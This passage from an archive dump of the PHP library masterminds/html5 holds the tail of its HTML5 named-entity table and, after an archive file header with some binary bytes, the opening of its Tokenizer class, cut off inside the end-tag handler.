        'ogt' => '⧁',
        'ohbar' => '⦵',
        'ohm' => 'Ω',
        'oint' => '∮',
        'olarr' => '↺',
        'olcir' => '⦾',
        'olcross' => '⦻',
        'oline' => '‾',
        'olt' => '⧀',
        'Omacr' => 'Ō',
        'omacr' => 'ō',
        'Omega' => 'Ω',
        'omega' => 'ω',
        'Omicron' => 'Ο',
        'omicron' => 'ο',
        'omid' => '⦶',
        'ominus' => '⊖',
        'Oopf' => '𝕆',
        'oopf' => '𝕠',
        'opar' => '⦷',
        'OpenCurlyDoubleQuote' => '“',
        'OpenCurlyQuote' => '‘',
        'operp' => '⦹',
        'oplus' => '⊕',
        'Or' => '⩔',
        'or' => '∨',
        'orarr' => '↻',
        'ord' => 'º',
        'order' => 'ℴ',
        'orderof' => 'ℴ',
        'ordf' => 'ª',
        'ordm' => 'º',
        'origof' => '⊶',
        'oror' => '⩖',
        'orslope' => '⩗',
        'orv' => '⩛',
        'oS' => 'Ⓢ',
        'Oscr' => '𝒪',
        'oscr' => 'ℴ',
        'Oslash' => 'Ø',
        'Oslas' => 'Ø',
        'oslash' => 'ø',
        'oslas' => 'ø',
        'osol' => '⊘',
        'Otilde' => 'Õ',
        'Otild' => 'Õ',
        'otilde' => 'õ',
        'otild' => 'õ',
        'Otimes' => '⨷',
        'otimes' => '⊗',
        'otimesas' => '⨶',
        'Ouml' => 'Ö',
        'Oum' => 'Ö',
        'ouml' => 'ö',
        'oum' => 'ö',
        'ovbar' => '⌽',
        'OverBar' => '‾',
        'OverBrace' => '⏞',
        'OverBracket' => '⎴',
        'OverParenthesis' => '⏜',
        'par' => '¶',
        'para' => '¶',
        'parallel' => '∥',
        'parsim' => '⫳',
        'parsl' => '⫽',
        'part' => '∂',
        'PartialD' => '∂',
        'Pcy' => 'П',
        'pcy' => 'п',
        'percnt' => '%',
        'period' => '.',
        'permil' => '‰',
        'perp' => '⊥',
        'pertenk' => '‱',
        'Pfr' => '𝔓',
        'pfr' => '𝔭',
        'Phi' => 'Φ',
        'phi' => 'φ',
        'phiv' => 'ϕ',
        'phmmat' => 'ℳ',
        'phone' => '☎',
        'Pi' => 'Π',
        'pi' => 'π',
        'pitchfork' => '⋔',
        'piv' => 'ϖ',
        'planck' => 'ℏ',
        'planckh' => 'ℎ',
        'plankv' => 'ℏ',
        'plus' => '+',
        'plusacir' => '⨣',
        'plusb' => '⊞',
        'pluscir' => '⨢',
        'plusdo' => '∔',
        'plusdu' => '⨥',
        'pluse' => '⩲',
        'PlusMinus' => '±',
        'plusmn' => '±',
        'plusm' => '±',
        'plussim' => '⨦',
        'plustwo' => '⨧',
        'pm' => '±',
        'Poincareplane' => 'ℌ',
        'pointint' => '⨕',
        'Popf' => 'ℙ',
        'popf' => '𝕡',
        'pound' => '£',
        'poun' => '£',
        'Pr' => '⪻',
        'pr' => '≺',
        'prap' => '⪷',
        'prcue' => '≼',
        'prE' => '⪳',
        'pre' => '⪯',
        'prec' => '≺',
        'precapprox' => '⪷',
        'preccurlyeq' => '≼',
        'Precedes' => '≺',
        'PrecedesEqual' => '⪯',
        'PrecedesSlantEqual' => '≼',
        'PrecedesTilde' => '≾',
        'preceq' => '⪯',
        'precnapprox' => '⪹',
        'precneqq' => '⪵',
        'precnsim' => '⋨',
        'precsim' => '≾',
        'Prime' => '″',
        'prime' => '′',
        'primes' => 'ℙ',
        'prnap' => '⪹',
        'prnE' => '⪵',
        'prnsim' => '⋨',
        'prod' => '∏',
        'Product' => '∏',
        'profalar' => '⌮',
        'profline' => '⌒',
        'profsurf' => '⌓',
        'prop' => '∝',
        'Proportion' => '∷',
        'Proportional' => '∝',
        'propto' => '∝',
        'prsim' => '≾',
        'prurel' => '⊰',
        'Pscr' => '𝒫',
        'pscr' => '𝓅',
        'Psi' => 'Ψ',
        'psi' => 'ψ',
        'puncsp' => ' ',
        'Qfr' => '𝔔',
        'qfr' => '𝔮',
        'qint' => '⨌',
        'Qopf' => 'ℚ',
        'qopf' => '𝕢',
        'qprime' => '⁗',
        'Qscr' => '𝒬',
        'qscr' => '𝓆',
        'quaternions' => 'ℍ',
        'quatint' => '⨖',
        'quest' => '?',
        'questeq' => '≟',
        'QUOT' => '"',
        'QUO' => '"',
        'quot' => '"',
        'quo' => '"',
        'rAarr' => '⇛',
        'race' => '∽̱',
        'Racute' => 'Ŕ',
        'racute' => 'ŕ',
        'radic' => '√',
        'raemptyv' => '⦳',
        'Rang' => '⟫',
        'rang' => '⟩',
        'rangd' => '⦒',
        'range' => '⦥',
        'rangle' => '⟩',
        'raquo' => '»',
        'raqu' => '»',
        'Rarr' => '↠',
        'rArr' => '⇒',
        'rarr' => '→',
        'rarrap' => '⥵',
        'rarrb' => '⇥',
        'rarrbfs' => '⤠',
        'rarrc' => '⤳',
        'rarrfs' => '⤞',
        'rarrhk' => '↪',
        'rarrlp' => '↬',
        'rarrpl' => '⥅',
        'rarrsim' => '⥴',
        'Rarrtl' => '⤖',
        'rarrtl' => '↣',
        'rarrw' => '↝',
        'rAtail' => '⤜',
        'ratail' => '⤚',
        'ratio' => '∶',
        'rationals' => 'ℚ',
        'RBarr' => '⤐',
        'rBarr' => '⤏',
        'rbarr' => '⤍',
        'rbbrk' => '❳',
        'rbrace' => '}',
        'rbrack' => ']',
        'rbrke' => '⦌',
        'rbrksld' => '⦎',
        'rbrkslu' => '⦐',
        'Rcaron' => 'Ř',
        'rcaron' => 'ř',
        'Rcedil' => 'Ŗ',
        'rcedil' => 'ŗ',
        'rceil' => '⌉',
        'rcub' => '}',
        'Rcy' => 'Р',
        'rcy' => 'р',
        'rdca' => '⤷',
        'rdldhar' => '⥩',
        'rdquo' => '”',
        'rdquor' => '”',
        'rdsh' => '↳',
        'Re' => 'ℜ',
        'real' => 'ℜ',
        'realine' => 'ℛ',
        'realpart' => 'ℜ',
        'reals' => 'ℝ',
        'rect' => '▭',
        'REG' => '®',
        'RE' => '®',
        'reg' => '®',
        're' => '®',
        'ReverseElement' => '∋',
        'ReverseEquilibrium' => '⇋',
        'ReverseUpEquilibrium' => '⥯',
        'rfisht' => '⥽',
        'rfloor' => '⌋',
        'Rfr' => 'ℜ',
        'rfr' => '𝔯',
        'rHar' => '⥤',
        'rhard' => '⇁',
        'rharu' => '⇀',
        'rharul' => '⥬',
        'Rho' => 'Ρ',
        'rho' => 'ρ',
        'rhov' => 'ϱ',
        'RightAngleBracket' => '⟩',
        'RightArrow' => '→',
        'Rightarrow' => '⇒',
        'rightarrow' => '→',
        'RightArrowBar' => '⇥',
        'RightArrowLeftArrow' => '⇄',
        'rightarrowtail' => '↣',
        'RightCeiling' => '⌉',
        'RightDoubleBracket' => '⟧',
        'RightDownTeeVector' => '⥝',
        'RightDownVector' => '⇂',
        'RightDownVectorBar' => '⥕',
        'RightFloor' => '⌋',
        'rightharpoondown' => '⇁',
        'rightharpoonup' => '⇀',
        'rightleftarrows' => '⇄',
        'rightleftharpoons' => '⇌',
        'rightrightarrows' => '⇉',
        'rightsquigarrow' => '↝',
        'RightTee' => '⊢',
        'RightTeeArrow' => '↦',
        'RightTeeVector' => '⥛',
        'rightthreetimes' => '⋌',
        'RightTriangle' => '⊳',
        'RightTriangleBar' => '⧐',
        'RightTriangleEqual' => '⊵',
        'RightUpDownVector' => '⥏',
        'RightUpTeeVector' => '⥜',
        'RightUpVector' => '↾',
        'RightUpVectorBar' => '⥔',
        'RightVector' => '⇀',
        'RightVectorBar' => '⥓',
        'ring' => '˚',
        'risingdotseq' => '≓',
        'rlarr' => '⇄',
        'rlhar' => '⇌',
        'rlm' => '‏',
        'rmoust' => '⎱',
        'rmoustache' => '⎱',
        'rnmid' => '⫮',
        'roang' => '⟭',
        'roarr' => '⇾',
        'robrk' => '⟧',
        'ropar' => '⦆',
        'Ropf' => 'ℝ',
        'ropf' => '𝕣',
        'roplus' => '⨮',
        'rotimes' => '⨵',
        'RoundImplies' => '⥰',
        'rpar' => ')',
        'rpargt' => '⦔',
        'rppolint' => '⨒',
        'rrarr' => '⇉',
        'Rrightarrow' => '⇛',
        'rsaquo' => '›',
        'Rscr' => 'ℛ',
        'rscr' => '𝓇',
        'Rsh' => '↱',
        'rsh' => '↱',
        'rsqb' => ']',
        'rsquo' => '’',
        'rsquor' => '’',
        'rthree' => '⋌',
        'rtimes' => '⋊',
        'rtri' => '▹',
        'rtrie' => '⊵',
        'rtrif' => '▸',
        'rtriltri' => '⧎',
        'RuleDelayed' => '⧴',
        'ruluhar' => '⥨',
        'rx' => '℞',
        'Sacute' => 'Ś',
        'sacute' => 'ś',
        'sbquo' => '‚',
        'Sc' => '⪼',
        'sc' => '≻',
        'scap' => '⪸',
        'Scaron' => 'Š',
        'scaron' => 'š',
        'sccue' => '≽',
        'scE' => '⪴',
        'sce' => '⪰',
        'Scedil' => 'Ş',
        'scedil' => 'ş',
        'Scirc' => 'Ŝ',
        'scirc' => 'ŝ',
        'scnap' => '⪺',
        'scnE' => '⪶',
        'scnsim' => '⋩',
        'scpolint' => '⨓',
        'scsim' => '≿',
        'Scy' => 'С',
        'scy' => 'с',
        'sdot' => '⋅',
        'sdotb' => '⊡',
        'sdote' => '⩦',
        'searhk' => '⤥',
        'seArr' => '⇘',
        'searr' => '↘',
        'searrow' => '↘',
        'sect' => '§',
        'sec' => '§',
        'semi' => ';',
        'seswar' => '⤩',
        'setminus' => '∖',
        'setmn' => '∖',
        'sext' => '✶',
        'Sfr' => '𝔖',
        'sfr' => '𝔰',
        'sfrown' => '⌢',
        'sharp' => '♯',
        'SHCHcy' => 'Щ',
        'shchcy' => 'щ',
        'SHcy' => 'Ш',
        'shcy' => 'ш',
        'ShortDownArrow' => '↓',
        'ShortLeftArrow' => '←',
        'shortmid' => '∣',
        'shortparallel' => '∥',
        'ShortRightArrow' => '→',
        'ShortUpArrow' => '↑',
        'shy' => '­',
        'sh' => '­',
        'Sigma' => 'Σ',
        'sigma' => 'σ',
        'sigmaf' => 'ς',
        'sigmav' => 'ς',
        'sim' => '∼',
        'simdot' => '⩪',
        'sime' => '≃',
        'simeq' => '≃',
        'simg' => '⪞',
        'simgE' => '⪠',
        'siml' => '⪝',
        'simlE' => '⪟',
        'simne' => '≆',
        'simplus' => '⨤',
        'simrarr' => '⥲',
        'slarr' => '←',
        'SmallCircle' => '∘',
        'smallsetminus' => '∖',
        'smashp' => '⨳',
        'smeparsl' => '⧤',
        'smid' => '∣',
        'smile' => '⌣',
        'smt' => '⪪',
        'smte' => '⪬',
        'smtes' => '⪬︀',
        'SOFTcy' => 'Ь',
        'softcy' => 'ь',
        'sol' => '/',
        'solb' => '⧄',
        'solbar' => '⌿',
        'Sopf' => '𝕊',
        'sopf' => '𝕤',
        'spades' => '♠',
        'spadesuit' => '♠',
        'spar' => '∥',
        'sqcap' => '⊓',
        'sqcaps' => '⊓︀',
        'sqcup' => '⊔',
        'sqcups' => '⊔︀',
        'Sqrt' => '√',
        'sqsub' => '⊏',
        'sqsube' => '⊑',
        'sqsubset' => '⊏',
        'sqsubseteq' => '⊑',
        'sqsup' => '⊐',
        'sqsupe' => '⊒',
        'sqsupset' => '⊐',
        'sqsupseteq' => '⊒',
        'squ' => '□',
        'Square' => '□',
        'square' => '□',
        'SquareIntersection' => '⊓',
        'SquareSubset' => '⊏',
        'SquareSubsetEqual' => '⊑',
        'SquareSuperset' => '⊐',
        'SquareSupersetEqual' => '⊒',
        'SquareUnion' => '⊔',
        'squarf' => '▪',
        'squf' => '▪',
        'srarr' => '→',
        'Sscr' => '𝒮',
        'sscr' => '𝓈',
        'ssetmn' => '∖',
        'ssmile' => '⌣',
        'sstarf' => '⋆',
        'Star' => '⋆',
        'star' => '☆',
        'starf' => '★',
        'straightepsilon' => 'ϵ',
        'straightphi' => 'ϕ',
        'strns' => '¯',
        'Sub' => '⋐',
        'sub' => '⊂',
        'subdot' => '⪽',
        'subE' => '⫅',
        'sube' => '⊆',
        'subedot' => '⫃',
        'submult' => '⫁',
        'subnE' => '⫋',
        'subne' => '⊊',
        'subplus' => '⪿',
        'subrarr' => '⥹',
        'Subset' => '⋐',
        'subset' => '⊂',
        'subseteq' => '⊆',
        'subseteqq' => '⫅',
        'SubsetEqual' => '⊆',
        'subsetneq' => '⊊',
        'subsetneqq' => '⫋',
        'subsim' => '⫇',
        'subsub' => '⫕',
        'subsup' => '⫓',
        'succ' => '≻',
        'succapprox' => '⪸',
        'succcurlyeq' => '≽',
        'Succeeds' => '≻',
        'SucceedsEqual' => '⪰',
        'SucceedsSlantEqual' => '≽',
        'SucceedsTilde' => '≿',
        'succeq' => '⪰',
        'succnapprox' => '⪺',
        'succneqq' => '⪶',
        'succnsim' => '⋩',
        'succsim' => '≿',
        'SuchThat' => '∋',
        'Sum' => '∑',
        'sum' => '∑',
        'sung' => '♪',
        'Sup' => '⋑',
        'sup' => '³',
        'sup1' => '¹',
        'sup2' => '²',
        'sup3' => '³',
        'supdot' => '⪾',
        'supdsub' => '⫘',
        'supE' => '⫆',
        'supe' => '⊇',
        'supedot' => '⫄',
        'Superset' => '⊃',
        'SupersetEqual' => '⊇',
        'suphsol' => '⟉',
        'suphsub' => '⫗',
        'suplarr' => '⥻',
        'supmult' => '⫂',
        'supnE' => '⫌',
        'supne' => '⊋',
        'supplus' => '⫀',
        'Supset' => '⋑',
        'supset' => '⊃',
        'supseteq' => '⊇',
        'supseteqq' => '⫆',
        'supsetneq' => '⊋',
        'supsetneqq' => '⫌',
        'supsim' => '⫈',
        'supsub' => '⫔',
        'supsup' => '⫖',
        'swarhk' => '⤦',
        'swArr' => '⇙',
        'swarr' => '↙',
        'swarrow' => '↙',
        'swnwar' => '⤪',
        'szlig' => 'ß',
        'szli' => 'ß',
        'Tab' => '	',
        'target' => '⌖',
        'Tau' => 'Τ',
        'tau' => 'τ',
        'tbrk' => '⎴',
        'Tcaron' => 'Ť',
        'tcaron' => 'ť',
        'Tcedil' => 'Ţ',
        'tcedil' => 'ţ',
        'Tcy' => 'Т',
        'tcy' => 'т',
        'tdot' => '⃛',
        'telrec' => '⌕',
        'Tfr' => '𝔗',
        'tfr' => '𝔱',
        'there4' => '∴',
        'Therefore' => '∴',
        'therefore' => '∴',
        'Theta' => 'Θ',
        'theta' => 'θ',
        'thetasym' => 'ϑ',
        'thetav' => 'ϑ',
        'thickapprox' => '≈',
        'thicksim' => '∼',
        'ThickSpace' => '  ',
        'thinsp' => ' ',
        'ThinSpace' => ' ',
        'thkap' => '≈',
        'thksim' => '∼',
        'THORN' => 'Þ',
        'THOR' => 'Þ',
        'thorn' => 'þ',
        'thor' => 'þ',
        'Tilde' => '∼',
        'tilde' => '˜',
        'TildeEqual' => '≃',
        'TildeFullEqual' => '≅',
        'TildeTilde' => '≈',
        'times' => '×',
        'time' => '×',
        'timesb' => '⊠',
        'timesbar' => '⨱',
        'timesd' => '⨰',
        'tint' => '∭',
        'toea' => '⤨',
        'top' => '⊤',
        'topbot' => '⌶',
        'topcir' => '⫱',
        'Topf' => '𝕋',
        'topf' => '𝕥',
        'topfork' => '⫚',
        'tosa' => '⤩',
        'tprime' => '‴',
        'TRADE' => '™',
        'trade' => '™',
        'triangle' => '▵',
        'triangledown' => '▿',
        'triangleleft' => '◃',
        'trianglelefteq' => '⊴',
        'triangleq' => '≜',
        'triangleright' => '▹',
        'trianglerighteq' => '⊵',
        'tridot' => '◬',
        'trie' => '≜',
        'triminus' => '⨺',
        'TripleDot' => '⃛',
        'triplus' => '⨹',
        'trisb' => '⧍',
        'tritime' => '⨻',
        'trpezium' => '⏢',
        'Tscr' => '𝒯',
        'tscr' => '𝓉',
        'TScy' => 'Ц',
        'tscy' => 'ц',
        'TSHcy' => 'Ћ',
        'tshcy' => 'ћ',
        'Tstrok' => 'Ŧ',
        'tstrok' => 'ŧ',
        'twixt' => '≬',
        'twoheadleftarrow' => '↞',
        'twoheadrightarrow' => '↠',
        'Uacute' => 'Ú',
        'Uacut' => 'Ú',
        'uacute' => 'ú',
        'uacut' => 'ú',
        'Uarr' => '↟',
        'uArr' => '⇑',
        'uarr' => '↑',
        'Uarrocir' => '⥉',
        'Ubrcy' => 'Ў',
        'ubrcy' => 'ў',
        'Ubreve' => 'Ŭ',
        'ubreve' => 'ŭ',
        'Ucirc' => 'Û',
        'Ucir' => 'Û',
        'ucirc' => 'û',
        'ucir' => 'û',
        'Ucy' => 'У',
        'ucy' => 'у',
        'udarr' => '⇅',
        'Udblac' => 'Ű',
        'udblac' => 'ű',
        'udhar' => '⥮',
        'ufisht' => '⥾',
        'Ufr' => '𝔘',
        'ufr' => '𝔲',
        'Ugrave' => 'Ù',
        'Ugrav' => 'Ù',
        'ugrave' => 'ù',
        'ugrav' => 'ù',
        'uHar' => '⥣',
        'uharl' => '↿',
        'uharr' => '↾',
        'uhblk' => '▀',
        'ulcorn' => '⌜',
        'ulcorner' => '⌜',
        'ulcrop' => '⌏',
        'ultri' => '◸',
        'Umacr' => 'Ū',
        'umacr' => 'ū',
        'uml' => '¨',
        'um' => '¨',
        'UnderBar' => '_',
        'UnderBrace' => '⏟',
        'UnderBracket' => '⎵',
        'UnderParenthesis' => '⏝',
        'Union' => '⋃',
        'UnionPlus' => '⊎',
        'Uogon' => 'Ų',
        'uogon' => 'ų',
        'Uopf' => '𝕌',
        'uopf' => '𝕦',
        'UpArrow' => '↑',
        'Uparrow' => '⇑',
        'uparrow' => '↑',
        'UpArrowBar' => '⤒',
        'UpArrowDownArrow' => '⇅',
        'UpDownArrow' => '↕',
        'Updownarrow' => '⇕',
        'updownarrow' => '↕',
        'UpEquilibrium' => '⥮',
        'upharpoonleft' => '↿',
        'upharpoonright' => '↾',
        'uplus' => '⊎',
        'UpperLeftArrow' => '↖',
        'UpperRightArrow' => '↗',
        'Upsi' => 'ϒ',
        'upsi' => 'υ',
        'upsih' => 'ϒ',
        'Upsilon' => 'Υ',
        'upsilon' => 'υ',
        'UpTee' => '⊥',
        'UpTeeArrow' => '↥',
        'upuparrows' => '⇈',
        'urcorn' => '⌝',
        'urcorner' => '⌝',
        'urcrop' => '⌎',
        'Uring' => 'Ů',
        'uring' => 'ů',
        'urtri' => '◹',
        'Uscr' => '𝒰',
        'uscr' => '𝓊',
        'utdot' => '⋰',
        'Utilde' => 'Ũ',
        'utilde' => 'ũ',
        'utri' => '▵',
        'utrif' => '▴',
        'uuarr' => '⇈',
        'Uuml' => 'Ü',
        'Uum' => 'Ü',
        'uuml' => 'ü',
        'uum' => 'ü',
        'uwangle' => '⦧',
        'vangrt' => '⦜',
        'varepsilon' => 'ϵ',
        'varkappa' => 'ϰ',
        'varnothing' => '∅',
        'varphi' => 'ϕ',
        'varpi' => 'ϖ',
        'varpropto' => '∝',
        'vArr' => '⇕',
        'varr' => '↕',
        'varrho' => 'ϱ',
        'varsigma' => 'ς',
        'varsubsetneq' => '⊊︀',
        'varsubsetneqq' => '⫋︀',
        'varsupsetneq' => '⊋︀',
        'varsupsetneqq' => '⫌︀',
        'vartheta' => 'ϑ',
        'vartriangleleft' => '⊲',
        'vartriangleright' => '⊳',
        'Vbar' => '⫫',
        'vBar' => '⫨',
        'vBarv' => '⫩',
        'Vcy' => 'В',
        'vcy' => 'в',
        'VDash' => '⊫',
        'Vdash' => '⊩',
        'vDash' => '⊨',
        'vdash' => '⊢',
        'Vdashl' => '⫦',
        'Vee' => '⋁',
        'vee' => '∨',
        'veebar' => '⊻',
        'veeeq' => '≚',
        'vellip' => '⋮',
        'Verbar' => '‖',
        'verbar' => '|',
        'Vert' => '‖',
        'vert' => '|',
        'VerticalBar' => '∣',
        'VerticalLine' => '|',
        'VerticalSeparator' => '❘',
        'VerticalTilde' => '≀',
        'VeryThinSpace' => ' ',
        'Vfr' => '𝔙',
        'vfr' => '𝔳',
        'vltri' => '⊲',
        'vnsub' => '⊂⃒',
        'vnsup' => '⊃⃒',
        'Vopf' => '𝕍',
        'vopf' => '𝕧',
        'vprop' => '∝',
        'vrtri' => '⊳',
        'Vscr' => '𝒱',
        'vscr' => '𝓋',
        'vsubnE' => '⫋︀',
        'vsubne' => '⊊︀',
        'vsupnE' => '⫌︀',
        'vsupne' => '⊋︀',
        'Vvdash' => '⊪',
        'vzigzag' => '⦚',
        'Wcirc' => 'Ŵ',
        'wcirc' => 'ŵ',
        'wedbar' => '⩟',
        'Wedge' => '⋀',
        'wedge' => '∧',
        'wedgeq' => '≙',
        'weierp' => '℘',
        'Wfr' => '𝔚',
        'wfr' => '𝔴',
        'Wopf' => '𝕎',
        'wopf' => '𝕨',
        'wp' => '℘',
        'wr' => '≀',
        'wreath' => '≀',
        'Wscr' => '𝒲',
        'wscr' => '𝓌',
        'xcap' => '⋂',
        'xcirc' => '◯',
        'xcup' => '⋃',
        'xdtri' => '▽',
        'Xfr' => '𝔛',
        'xfr' => '𝔵',
        'xhArr' => '⟺',
        'xharr' => '⟷',
        'Xi' => 'Ξ',
        'xi' => 'ξ',
        'xlArr' => '⟸',
        'xlarr' => '⟵',
        'xmap' => '⟼',
        'xnis' => '⋻',
        'xodot' => '⨀',
        'Xopf' => '𝕏',
        'xopf' => '𝕩',
        'xoplus' => '⨁',
        'xotime' => '⨂',
        'xrArr' => '⟹',
        'xrarr' => '⟶',
        'Xscr' => '𝒳',
        'xscr' => '𝓍',
        'xsqcup' => '⨆',
        'xuplus' => '⨄',
        'xutri' => '△',
        'xvee' => '⋁',
        'xwedge' => '⋀',
        'Yacute' => 'Ý',
        'Yacut' => 'Ý',
        'yacute' => 'ý',
        'yacut' => 'ý',
        'YAcy' => 'Я',
        'yacy' => 'я',
        'Ycirc' => 'Ŷ',
        'ycirc' => 'ŷ',
        'Ycy' => 'Ы',
        'ycy' => 'ы',
        'yen' => '¥',
        'ye' => '¥',
        'Yfr' => '𝔜',
        'yfr' => '𝔶',
        'YIcy' => 'Ї',
        'yicy' => 'ї',
        'Yopf' => '𝕐',
        'yopf' => '𝕪',
        'Yscr' => '𝒴',
        'yscr' => '𝓎',
        'YUcy' => 'Ю',
        'yucy' => 'ю',
        'Yuml' => 'Ÿ',
        'yuml' => 'ÿ',
        'yum' => 'ÿ',
        'Zacute' => 'Ź',
        'zacute' => 'ź',
        'Zcaron' => 'Ž',
        'zcaron' => 'ž',
        'Zcy' => 'З',
        'zcy' => 'з',
        'Zdot' => 'Ż',
        'zdot' => 'ż',
        'zeetrf' => 'ℨ',
        'ZeroWidthSpace' => '​',
        'Zeta' => 'Ζ',
        'zeta' => 'ζ',
        'Zfr' => 'ℨ',
        'zfr' => '𝔷',
        'ZHcy' => 'Ж',
        'zhcy' => 'ж',
        'zigrarr' => '⇝',
        'Zopf' => 'ℤ',
        'zopf' => '𝕫',
        'Zscr' => '𝒵',
        'zscr' => '𝓏',
        'zwj' => '‍',
        'zwnj' => '‌',
    );
}
PK
h�\���̹���7vendor/masterminds/html5/src/HTML5/Parser/Tokenizer.phpnu�[���<?php

namespace Masterminds\HTML5\Parser;

use Masterminds\HTML5\Elements;

/**
 * The HTML5 tokenizer.
 *
 * The tokenizer's role is reading data from the scanner and gathering it into
 * semantic units. From the tokenizer, data is emitted to an event handler,
 * which may (for example) create a DOM tree.
 *
 * The HTML5 specification has a detailed explanation of tokenizing HTML5. We
 * follow that specification to the maximum extent that we can. If you find
 * a discrepancy that is not documented, please file a bug and/or submit a
 * patch.
 *
 * This tokenizer is implemented as a recursive descent parser.
 *
 * Within the API documentation, you may see references to the specific section
 * of the HTML5 spec that the code attempts to reproduce. Example: 8.2.4.1.
 * This refers to section 8.2.4.1 of the HTML5 CR specification.
 *
 * @see http://www.w3.org/TR/2012/CR-html5-20121217/
 */
class Tokenizer
{
    protected $scanner;

    protected $events;

    protected $tok;

    /**
     * Buffer for text.
     */
    protected $text = '';

    // When this goes to false, the parser stops.
    protected $carryOn = true;

    protected $textMode = 0; // TEXTMODE_NORMAL;
    protected $untilTag = null;

    const CONFORMANT_XML = 'xml';
    const CONFORMANT_HTML = 'html';
    protected $mode = self::CONFORMANT_HTML;

    /**
     * Create a new tokenizer.
     *
     * Typically, parsing a document involves creating a new tokenizer, giving
     * it a scanner (input) and an event handler (output), and then calling
     * the Tokenizer::parse() method.`
     *
     * @param Scanner      $scanner      A scanner initialized with an input stream.
     * @param EventHandler $eventHandler An event handler, initialized and ready to receive events.
     * @param string       $mode
     */
    public function __construct($scanner, $eventHandler, $mode = self::CONFORMANT_HTML)
    {
        $this->scanner = $scanner;
        $this->events = $eventHandler;
        $this->mode = $mode;
    }

    /**
     * Begin parsing.
     *
     * This will begin scanning the document, tokenizing as it goes.
     * Tokens are emitted into the event handler.
     *
     * Tokenizing will continue until the document is completely
     * read. Errors are emitted into the event handler, but
     * the parser will attempt to continue parsing until the
     * entire input stream is read.
     */
    public function parse()
    {
        do {
            $this->consumeData();
            // FIXME: Add infinite loop protection.
        } while ($this->carryOn);
    }

    /**
     * Set the text mode for the character data reader.
     *
     * HTML5 defines three different modes for reading text:
     * - Normal: Read until a tag is encountered.
     * - RCDATA: Read until a tag is encountered, but skip a few otherwise-
     * special characters.
     * - Raw: Read until a special closing tag is encountered (viz. pre, script)
     *
     * This allows those modes to be set.
     *
     * Normally, setting is done by the event handler via a special return code on
     * startTag(), but it can also be set manually using this function.
     *
     * @param int    $textmode One of Elements::TEXT_*.
     * @param string $untilTag The tag that should stop RAW or RCDATA mode. Normal mode does not
     *                         use this indicator.
     */
    public function setTextMode($textmode, $untilTag = null)
    {
        $this->textMode = $textmode & (Elements::TEXT_RAW | Elements::TEXT_RCDATA);
        $this->untilTag = $untilTag;
    }

    /**
     * Consume a character and make a move.
     * HTML5 8.2.4.1.
     */
    protected function consumeData()
    {
        $tok = $this->scanner->current();

        if ('&' === $tok) {
            // Character reference
            $ref = $this->decodeCharacterReference();
            $this->buffer($ref);

            $tok = $this->scanner->current();
        }

        // Parse tag
        if ('<' === $tok) {
            // Any buffered text data can go out now.
            $this->flushBuffer();

            $tok = $this->scanner->next();

            if ('!' === $tok) {
                $this->markupDeclaration();
            } elseif ('/' === $tok) {
                $this->endTag();
            } elseif ('?' === $tok) {
                $this->processingInstruction();
            } elseif (ctype_alpha($tok)) {
                $this->tagName();
            } else {
                $this->parseError('Illegal tag opening');
                // TODO is this necessary ?
                $this->characterData();
            }

            $tok = $this->scanner->current();
        }

        if (false === $tok) {
            // Handle end of document
            $this->eof();
        } else {
            // Parse character
            switch ($this->textMode) {
                case Elements::TEXT_RAW:
                    $this->rawText($tok);
                    break;

                case Elements::TEXT_RCDATA:
                    $this->rcdata($tok);
                    break;

                default:
                    if ('<' === $tok || '&' === $tok) {
                        break;
                    }

                    // NULL character
                    if ("\00" === $tok) {
                        $this->parseError('Received null character.');

                        $this->text .= $tok;
                        $this->scanner->consume();

                        break;
                    }

                    $this->text .= $this->scanner->charsUntil("<&\0");
            }
        }

        return $this->carryOn;
    }

    /**
     * Parse anything that looks like character data.
     *
     * Different rules apply based on the current text mode.
     *
     * @see Elements::TEXT_RAW Elements::TEXT_RCDATA.
     */
    protected function characterData()
    {
        $tok = $this->scanner->current();
        if (false === $tok) {
            return false;
        }
        switch ($this->textMode) {
            case Elements::TEXT_RAW:
                return $this->rawText($tok);
            case Elements::TEXT_RCDATA:
                return $this->rcdata($tok);
            default:
                if ('<' === $tok || '&' === $tok) {
                    return false;
                }

                return $this->text($tok);
        }
    }

    /**
     * This buffers the current token as character data.
     *
     * @param string $tok The current token.
     *
     * @return bool
     */
    protected function text($tok)
    {
        // This should never happen...
        if (false === $tok) {
            return false;
        }

        // NULL character
        if ("\00" === $tok) {
            $this->parseError('Received null character.');
        }

        $this->buffer($tok);
        $this->scanner->consume();

        return true;
    }

    /**
     * Read text in RAW mode.
     *
     * @param string $tok The current token.
     *
     * @return bool
     */
    protected function rawText($tok)
    {
        if (is_null($this->untilTag)) {
            return $this->text($tok);
        }

        $sequence = '</' . $this->untilTag . '>';
        $txt = $this->readUntilSequence($sequence);
        $this->events->text($txt);
        $this->setTextMode(0);

        return $this->endTag();
    }

    /**
     * Read text in RCDATA mode.
     *
     * @param string $tok The current token.
     *
     * @return bool
     */
    protected function rcdata($tok)
    {
        if (is_null($this->untilTag)) {
            return $this->text($tok);
        }

        $sequence = '</' . $this->untilTag;
        $txt = '';

        $caseSensitive = !Elements::isHtml5Element($this->untilTag);
        while (false !== $tok && !('<' == $tok && ($this->scanner->sequenceMatches($sequence, $caseSensitive)))) {
            if ('&' == $tok) {
                $txt .= $this->decodeCharacterReference();
                $tok = $this->scanner->current();
            } else {
                $txt .= $tok;
                $tok = $this->scanner->next();
            }
        }
        $len = strlen($sequence);
        $this->scanner->consume($len);
        $len += $this->scanner->whitespace();
        if ('>' !== $this->scanner->current()) {
            $this->parseError('Unclosed RCDATA end tag');
        }

        $this->scanner->unconsume($len);
        $this->events->text($txt);
        $this->setTextMode(0);

        return $this->endTag();
    }

    /**
     * If the document is read, emit an EOF event.
     */
    protected function eof()
    {
        // fprintf(STDOUT, "EOF");
        $this->flushBuffer();
        $this->events->eof();
        $this->carryOn = false;
    }

    /**
     * Look for markup.
     */
    protected function markupDeclaration()
    {
        $tok = $this->scanner->next();

        // Comment:
        if ('-' == $tok && '-' == $this->scanner->peek()) {
            $this->scanner->consume(2);

            return $this->comment();
        } elseif ('D' == $tok || 'd' == $tok) { // Doctype
            return $this->doctype();
        } elseif ('[' == $tok) { // CDATA section
            return $this->cdataSection();
        }

        // FINISH
        $this->parseError('Expected <!--, <![CDATA[, or <!DOCTYPE. Got <!%s', $tok);
        $this->bogusComment('<!');

        return true;
    }

    /**
     * Consume an end tag. See section 8.2.4.9.
     */
    protected function endTag()
    {
        if ('/' != $this->scanner->current()) {
            return false;
        }
        $tok = $this->scanner->next();

        // a-zA-Z -> tagname
        // > -> parse error
        // EOF -> parse error
        // -> parse error
